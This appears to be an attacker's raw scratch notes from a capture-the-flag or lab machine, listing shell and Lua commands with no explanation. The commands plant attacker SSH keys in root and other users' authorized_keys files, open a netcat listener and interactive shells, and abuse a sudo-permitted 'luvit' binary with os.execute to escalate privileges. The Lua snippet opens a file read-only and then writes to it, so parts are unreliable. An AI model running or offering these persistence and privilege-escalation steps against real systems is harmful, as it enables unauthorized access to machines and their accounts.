Notes

#!/bin/sh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsNueGnCmSCisF4rodOvlbcndR8hCmBqs3E4sMZL74ONh/TbE9Fjxkhj83fyTYzX/iNXCn5vyk+oFbiMMrsw3JiWbWSoeIILT4mK5x2aWA/ffgFoNfUY+KThvEol0H3KVsGQrEy+r1PZNX56sIRpseNuUyovz38/U3Ms3BUBD+AeQmGV/iQ8gc+cSwNUN5qvdbr52lEFc4Fb7ocydlnN/YwRjx+KTtg1rnVrEcSpBdCpgr4IIQL6Pc+CRRJn/Vg977j8n5FYn/SoctlnXVepYIB+qM3E2R454fwOpbUoS2izLwJkqsyxFerzjvI3KrJeUJQmJK7oFGaa0iMI1C+Z24a2OHS6D0n11BS7qr6A80oUJTPBzd995upw6U30BAjtxjaV9YZsNnLKDqrIUOrH5UXLxH+kFRXmWgqiJpskSzXbGwzBcGVxzGyD43oCPuKKg4NcAmIMFrGTQWB1DP7ge2aFlCQ48PvC8D6sSi7nTj/Wxo6lsR90sVuRlFrOBF/hk= m413v@kali' >> /root/.ssh/authorized_keys ; echo ok | netcat -l 5556


uname -a; w; id; /bin/bash -i
cd /home/webadmin
cp privesc.lua /var/www/html

local f = io.open("/home/sysadmin/.ssh/authorized_keys", "r")
local passwd = f:write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaxhaBqBtUrrCLso40h24NFnyeJNpB4bYLclydDeOMNtG6Ys9uS83IGtgHUF3gpw9aThmpmL2vqb3MOgQR5RzMVOS4icGkcTpvEg4IvC6U4MaoiDryVBldljr1vQt5UBdBaaq/1PreROwE8p/CfWx4ZZKrI8w2fbpqrM3atloFt7f/6TiO/03UyBgaMTAO1Byog+nnv61hzLCge/SsK15CFk/kFxC+HBNws40JclIwjsd7N1ApNjZKvJ4Z6dHjE/NJXumZAyxWv+L8f/kie/eNOPA7vb8Gqpo+D3b5nI2QHFeHKS/HDxN7WLsYUk/NTIoDKNgA5SpylLtPz4z1sBjz brad@brad-OMEN-by-HP-Laptop-15-ce0xxn")
f:close()

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaxhaBqBtUrrCLso40h24NFnyeJNpB4bYLclydDeOMNtG6Ys9uS83IGtgHUF3gpw9aThmpmL2vqb3MOgQR5RzMVOS4icGkcTpvEg4IvC6U4MaoiDryVBldljr1vQt5UBdBaaq/1PreROwE8p/CfWx4ZZKrI8w2fbpqrM3atloFt7f/6TiO/03UyBgaMTAO1Byog+nnv61hzLCge/SsK15CFk/kFxC+HBNws40JclIwjsd7N1ApNjZKvJ4Z6dHjE/NJXumZAyxWv+L8f/kie/eNOPA7vb8Gqpo+D3b5nI2QHFeHKS/HDxN7WLsYUk/NTIoDKNgA5SpylLtPz4z1sBjz brad@brad-OMEN-by-HP-Laptop-15-ce0xx' >> /home/sysadmin/.ssh/authorized_keys ; echo ok | netcat -l 8892

sudo -l
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
echo -e "nnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOExb8OTfWbfO7myEGnu7Z5OXwpkT2ph4oTvlzEyzim3d0J92R+4cCxnkTj+dcbOtT2hj95ayf86b81ycdMErlRZhpeTO9Cp0Kw8Yu5sChYIbDAY0OyT4OkK9kA6yPBDZ1cQDUp2nLDjqoy1UM+bgYJxajvvqmHHp2608VbSELRigLcpRRVJl1fcsJKKyeKjlL7rFEhOSIEJWNqe4jDNo7JodCFgxvELpoZvZ7qOHcQCe9f+kdlbgMEUkF8td9gMWZ6PGJ2oTcvTtD4R9OyDDVh9itqz+Ga4yS4Rn8AnHvYIWtLgLE9a+EtUp+P2Nz+pfe49LAzaYcCDRO7m1Z2irJJk2k0aBTOdS1fRylkf9V5mzMnKg4RLXRNS2lj3mdbSu0rboASaQrLXmQkMGQaCNS9glbiVcGlaRiPDF1/9y6mNoX0NGsiZsa4ZUfnNGyjDPILSiq9hORytAuSU90h96G5nFeQ/ocE/6RDtc+GJBbzijxm+H2z9BFr6LlVW1vSY8=nn" >> /home/webadmin/.ssh/authorized_keys
sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'
sudo -u sysadmin /home/sysadmin/luvit -e "os.execute('/bin/bash')"
sudo -u /home/sysadmin/luvit
sudo -u sysadmin /home/sysadmin/luvit
sudo -l
sudo -l
sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'
sudo -u sysadmin /home/sysadmin/luvit
sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/bash")'
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/bash")'
sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/bash")'
sudo -u sysadmin /home/sysadmin/luvit
sudo -l